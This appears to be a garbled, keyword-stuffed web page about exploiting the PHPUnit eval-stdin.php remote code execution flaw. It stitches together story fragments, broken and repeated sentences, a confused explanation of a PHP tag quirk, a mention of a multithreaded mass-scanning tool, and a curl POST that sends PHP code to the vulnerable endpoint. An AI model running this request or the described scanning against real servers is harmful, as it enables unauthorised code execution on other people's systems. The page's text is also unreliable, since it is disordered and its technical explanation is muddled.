Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit Hot! Guide

"Who keeps PHPUnit in production?" she muttered.

substring, an unauthenticated attacker can execute arbitrary PHP code on the server. System Weakness Exploit Demonstration A typical exploit involves a simple request to the vulnerable endpoint: vendor phpunit phpunit src util php eval-stdin.php exploit

Note: The concatenation of ?' . '>' is a PHP quirk used to close the currently open PHP tag and open a new one, effectively allowing the input stream to be treated as raw PHP code. "Who keeps PHPUnit in production

(and the entire PHPUnit development dependency from production): ?php echo 'VULNERABLE'

— PHPUnit-GoScan provides multithreaded scanning across multiple domains, automatically detecting the vulnerable endpoint and confirming RCE.

curl -X POST http://target-site.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \ -d "<?php echo 'VULNERABLE'; ?>"